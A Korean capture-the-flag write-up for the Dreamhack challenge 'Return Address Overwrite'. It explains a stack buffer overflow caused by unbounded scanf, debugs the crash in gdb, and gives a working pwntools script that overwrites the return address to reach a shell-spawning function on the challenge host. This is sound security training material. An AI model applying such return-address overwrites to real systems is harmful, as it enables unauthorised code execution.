[Dreamhack] Level 1: Return Address Overwrite

1. 문제

https://dreamhack.io/wargame/challenges/351/

Return Address Overwrite

드림핵 강의 https://learn.dreamhack.io/58  를 보면서 풀이하였습니다. 

 

2. 해결 과정

(1) 코드 확인 

먼저 입력 길이에 대한 검증이 없는 scanf를 쓰고 있으므로, 버퍼 오버플로우 취약점이 존재한다는 것을 확인할 수 있다.

scanf함수의 포맷 스트링 중 하나인 %s는 문자열을 입력받을 때 사용하는 것으로, 입력의 길이를 제한하지 않으며, 공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다는 특징이 있다.  

• get_shell(): execve()를 호출하여 /bin/sh 쉘을 실행하는 함수. 즉, 이 함수가 실행되면 쉘을 얻을 수 있음
• main
  • buf[0x28] → 0x28(= 40) 바이트 크기의 로컬 변수.
  • scanf("%s", buf); → 버퍼 크기 제한 없이 문자열을 입력받는 코드로, 버퍼 오버플로우 발생 가능
  • buf가 main() 함수의 스택 프레임에 위치하기 때문에, 이 취약점을 이용하여 함수 리턴 주소를 덮어쓰면 get_shell() 함수를 실행할 수 있음.

•  

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

main함수의 스택 프레임을 그려보면 아래와 같다. 

따라서 buf값을 40바이트보다 충분히 길게 입력해서(64바이트) 리턴 주소를 get_shell() 함수의 주소로 덮어쓰는 것이다

--------------------------------
| ... 이전 함수의 스택 ...     |
--------------------------------
| 리턴 주소 (caller의 주소)   |  <-- main()이 종료되면 여기에 저장된 주소로 복귀
--------------------------------
| saved RBP (이전 RBP 값)     |  <-- main() 함수 진입 시의 이전 RBP 값
--------------------------------
| buf (0x28 바이트, 40B)     |  <-- 지역 변수 (버퍼)
--------------------------------

(2) 바이너리 파일 실행 

• -o rao: 컴파일된 출력 파일 이름을 'rao'로 지정
• rao.c: 컴파일할 소스 코드 파일명
• -fno-stack-protector: 스택 보호 기능 비활성화
  • 스택 오버플로우 공격을 방지하는 "카나리(canary)" 값을 삽입하지 않도록 함
• -no-pie: Position Independent Executable 기능을 비활성화
  • 프로그램이 메모리의 랜덤한 주소에 로드되는 것을 방지

 

실제로 입력을 주었을 때, 짧은 입력을 줬을 때는 정상적으로 프로그램이 종료가 되지만, 긴 입력값을 주었을 때에는 Segmentation fault라는 에러가 출력된다. 

이는 프로그램이 잘못된 메모리 주소에 접근했다는 의미이며, 프로그램에 버그가 발생했다는 신호이다. 

이때 뒤의 (core dumped)는 코어파일(core)을 생성했다는 것으로, 이는 프로그램이 비정상 종료됐을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것이다.

 

*Ubuntu 20.04 버전 이상은 기본적으로 /var/lib/apport/coredump 디렉토리에 코어 파일을 생성

** 코어 파일 생성되지 않았을 경우: 리눅스는 기본적으로 코어 파일의 크기에 제한을 두고 있다. 바이너리가 세그먼테이션 폴트를 발생시키고도 코어파일을 생성하지 않았다면, 생성해야할 코어파일의 크기가 이를 초과했기 때문이다.
따라서 크게 제한을 해제하고, 다시 오류를 발생시키면 코어 파일을 얻을 수 있다. $ ulimit -c unlimited

 

다음으로는 이 코어파일을 gdb를 이용해서 분석해볼 것이다. 

• rao: 디버깅하려는 프로그램의 이름
• -c core.1828876: 코어 덤프 파일을 지정

gdb rao -c {코어 파일 이름}

 

[실행 결과]

1. 프로그램이 SIGSEGV (세그멘테이션 폴트) 신호로 비정상 종료되었다. 
   • 크래시 지점: #0 0x0000000000400729 in main ()
   • 이 주소는 main 함수의 ret 명령어 위치(main+65)
2. 레지스터 
   • RBP: 0x4141414141414141 - ASCII로 'AAAAAAAA' 원래 베이스 포인터가 사용자 입력으로 덮어씌워졌음
   • RSP: 스택 포인터는 0x7ffe7f4dcdd8를 가리키고 있으며, 이곳에 'AAAAAAAA'가 있다.
   • RIP: 명령어 포인터는 0x400729를 가리키고 있으며, 이는 ret 명령어다. 

   
   	     정상 스택 구조           오버플로우 후 스택 
            +------------------+     +------------------+
(낮은 주소) | 리턴 주소         |     | 리턴 주소         |
            | 0x0000004004d0   | --> | 0x4141414141414141|  <- 'AAAAAAAA'
            +------------------+     +------------------+
            | Saved RBP        |     | Saved RBP        |
            | 0x00007fff...    | --> | 0x4141414141414141|  <- 'AAAAAAAA'
            +------------------+     +------------------+
            |                  |     |                  |
            | buf[0x28]        |     | buf[0x28]        |
            | (40바이트)        |     | (40바이트)        |
            |                  |     |                  |
            | 0x0000000000...  | --> | 0x4141414141414141|  <- 'AAAAAAAA'
            | 0x0000000000...  | --> | 0x4141414141414141|  <- 'AAAAAAAA'
            | 0x0000000000...  | --> | 0x4141414141414141|  <- 'AAAAAAAA'
            | 0x0000000000...  | --> | 0x4141414141414141|  <- 'AAAAAAAA'
(높은 주소) | 0x0000000000...  | --> | 0x4141414141414141|  <- 'AAAAAAAA'
            +------------------+     +------------------+

이때 main함수가 끝난 뒤 돌아갈 주소(리턴 주소)가 유효한 값이 아니므로 세그먼트 폴트가 발생하여 프로그램이 비정상 종료가 된 것이다. 따라서 앞서 말했듯이 원하는 함수(get_shell)를 실행하기 위해서는 해당 함수의 주소를 리턴 주소에 덮어써주면 된다. 

 

(3) 스택 구조 확인 (디버깅)

 

스택 버퍼에 오버플로우를 발생시켜서 반환주소를 덮으려면, 우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 정확히 알아야 한다. 직접 디버깅하며 확인할 수 있다.

 

main에 break를 걸어 디버깅해보면 메인 함수는 스택에 0x30(48) 바이트 공간을 할당하고, 

0x4006e8 <main>       push   rbp             # 이전 RBP 저장
0x4006e9 <main+1>     mov    rbp, rsp        # 새 베이스 포인터 설정
0x4006ec <main+4>     sub    rsp, 0x30       # 스택에 0x30(48) 바이트 공간 할당

0x40070b <main+35>    lea    rax, [rbp - 0x30] # 버퍼 주소를 RAX에 로드
0x40070f <main+39>    mov    rsi, rax          # 버퍼 주소를 RSI(scanf 두 번째 인자)에 복사
0x400712 <main+42>    lea    rdi, [rip + 0xab] # "%s" 포맷 문자열 주소를 RDI에 로드
0x400719 <main+49>    mov    eax, 0            # 가변 인자 함수 호출 준비
0x40071e <main+54>    call   __isoc99_scanf@plt # scanf 함수 호출

+------------------+
(낮은 주소)         | 함수 인자들       |
                   +------------------+
                   | 리턴 주소         |  <- 이 값을 get_shell() 주소로 변경
                   +------------------+
                   | 저장된 RBP        |  <- 이 값은 덮어써도 문제 없음
                   +------------------+
                   | buf[0x28]        |  <- 40바이트 버퍼
                   | (40바이트)        |
(높은 주소)         +------------------+

 

즉, 버퍼에서 리턴 주소까지의 거리는 56바이트이다. 

• 버퍼 크기: 0x30(48) 바이트 (컴파일러가 할당한 실제 크기)
  • 코드에서는 0x28으로 40바이트를 할당했지만, 컴파일러가 실제로 할당한 버퍼의 크기는 48바이트이다. 이는 성능 최적화를 위해 스택을 특정 경계(보통 16바이트)에 맞춰 정렬하기 때문이다. 따라서 40바이트 버퍼를 할당할 때 48바이트로 올림하여 16바이트 경계에 맞출 수 있다.
• Saved RBP: 8 바이트

(4) get_shell() 주소 확인

 

우리는 get_shell()의 주소로 return address를 덮어야 한다.get_shell() 의 주소를 찾기 위해 gdb를 사용할 수 있다.

함수의 주소 및 정보를 알 수 있는 명령어는 아래와 같다.

• print :함수 이름을 인자로 받아 해당 함수의 주소 출력
• info address: 함수나 변수의 메모리 위치에 대한 자세한 정보를 제공
• disassemble : 함수의 어셈블리 코드를 출력하면서 함수의 시작 주소를 포함한 정보 보여줌
• x : 지정된 메모리 위치(이 경우 함수 이름)의 내용을 검사

 

이를 통해 get_shell 함수의 주소는 0x4006aa 라는 것을 알 수 있다. 

 

(5) 페이로드 작성

 

페이로드는 pwntools 라이브러리를 사용해서 작성하였다.

• p64(): 64비트 값을 리틀 엔디안 바이트 순서로 변환하는 것이다. 
• remote(host, port): 지정된 호스트와 포트에 TCP 연결을 생성
• r.recvuntil(delimiter): 특정 문자열(delimiter)이 나올 때까지 데이터를 받는다.
  • delimiter: 수신을 중단할 기준 문자열 (예: b'Input: ')
• r.sendline(data): 데이터를 전송하고 줄바꿈 문자(\n)를 추가한다
• r.interactive(): 대화형 모드로 전환하여 사용자가 직접 원격 프로세스와 상호작용할 수 있게 한다.

from pwn import *

# get_shell() 함수의 주소
get_shell_addr = 0x4006aa

# 버퍼부터 리턴 주소까지의 거리: 56바이트 (0x38)
padding = b'A' * 0x38

# 페이로드 구성: 패딩 + get_shell 함수 주소
payload = padding + p64(get_shell_addr)

# 원격 서버에 연결
r = remote('host1.dreamhack.games', 11426)
print(r.recvuntil(b'Input: '))
r.sendline(payload)
r.interactive()

 

(6) 익스플로잇